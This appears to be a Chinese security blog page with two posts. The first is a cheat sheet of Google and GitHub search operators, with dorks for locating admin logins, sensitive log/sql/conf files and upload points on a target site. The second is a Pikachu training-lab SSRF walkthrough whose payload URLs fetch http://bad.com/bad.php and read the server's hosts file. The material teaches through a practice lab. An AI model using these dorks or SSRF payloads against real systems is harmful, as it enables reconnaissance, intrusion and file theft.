发表更新skills4 分钟读完 (大约614个字)

something about search skills

搜索引擎使用技巧

Google语法

  • 精确关键词

    使用"将关键词包裹起来，可以达到精确搜索的目的。如"abc def"为精确包含abc def 内容的站点，仅包含abc是不会匹配的。

  • 排除内容

    使用-xxx可以排除包含xxx的内容。

  • 逻辑或

    使用abc OR def，可以搜索包含abc或者包含def的内容。

  • 通配符

    使用*可以通配内容,达到模糊检索的目的，如*与莫蒂。

  • intitle:

    使用intitle:xxx可以匹配标题关键字xxx。

  • inurl:

    inurl:xxx搜索url中存在xxx内容的站点。 如：inurl:php?id=1

  • intext:

    使用intext:xxx可以检索主体包含xxx的内容。

  • related:

    使用related:xxx可以检索与xxx相关联的站点内容。

  • filetype:xxx

    检索文件后缀名为xxx的内容。

  • site:

    site:xxx.yyy,搜索xxx.yyy站点内的内容。如site:xxx.yyy 搜索引擎使用技巧。 可以搭配其它技巧使用。

    • 查找后台地址

      • site:xxx.yyy 管理后台/登陆/管理员/系统

      • site:xxx.yyy inurl:login/admin/system/guanli/denglu

    • 敏感文件

      • site:xxx.yyy filetype:pdf/doc/xls/conf

      • site:xxx.yyy filetype:log/sql/conf

    • 上传漏洞

      • site:xxx.yyy inurl:file
      • site:xxx.yyy inurl:load

    • 邮箱/QQ/群

      • site:xxx.yyy 邮件/email

      • site:xxx.yyy qq/QQ/群/企鹅/腾讯

Google语法

  • in:name

    使用in:name xxx，可以检索仓库 标题 中含有xxx的内容。

  • in:description

    使用in:description xxx，可以检索仓库 描述 中含有xxx的内容。

  • in:readme

    使用in:readme xxx，可以检索仓库 README 中含有xxx的内容。

  • forks:

  • stars:

    使用stars:>3000 xxx，可以检索star数量大于3000,包含xxx的内容。

  • forks:min..max

  • stars:min..max

    使用stars:1000..3000 xxx，可以检索star数量在1000至3000之间,包含xxx的内容。

  • size:

    使用size:>=5000 xxx，可以检索仓库大小在5000kb之上，包含xxx的内容。

  • pushed:

    使用pushed:>2021-12-26 xxx，可以检索推送时间大于2021/12/26，包含xxx的内容。

  • created:

    使用created:>2021-12-26 xxx，可以检索仓库创建时间大于2021/12/26，包含xxx的内容。

  • user:

    使用user:xxx检索 用户名 为xxx的内容。

  • license:

    使用license:apache-2.0 xxx，可以检索开源协议为apache-2.0，包含xxx的内容。

  • language:

    使用language:python xxx，可以检索 开发语言 为python，包含xxx的内容。

 
发表更新penetration Test / train2 分钟读完 (大约236个字)

something about Pikachu - SSRF

pikachu

pikachu => 备份地址

SSRF

概述

SSRF(Server-Side Request Forgery:服务器端请求伪造)。主要由于服务端提供了从其他服务器应用获取数据 的功能，但又未对目标地址做严格的限制，导致攻击者可以传入恶意地址。服务器对恶意地址进行请求， 返回恶意内容后造成损失。

PHP后台对目标地址请求的函数主要有:

  • file_get_contents()

  • fsockopen()

  • curl_exec()

SSRF(curl)

在url中拼接对应的恶意地址即可。

1
http://train.com/pikachu/vul/ssrf/ssrf_curl.php?url=http://bad.com/

SSRF(file_get_content)

在url中拼接对应的恶意地址即可。

1
http://train.com/pikachu/vul/ssrf/ssrf_fgc.php?file=http://bad.com/bad.php

也可指定目标服务器上指定文件。

1
http://train.com/pikachu/vul/ssrf/ssrf_fgc.php?file=C:\Windows\System32\drivers\etc\hosts
 

归档

×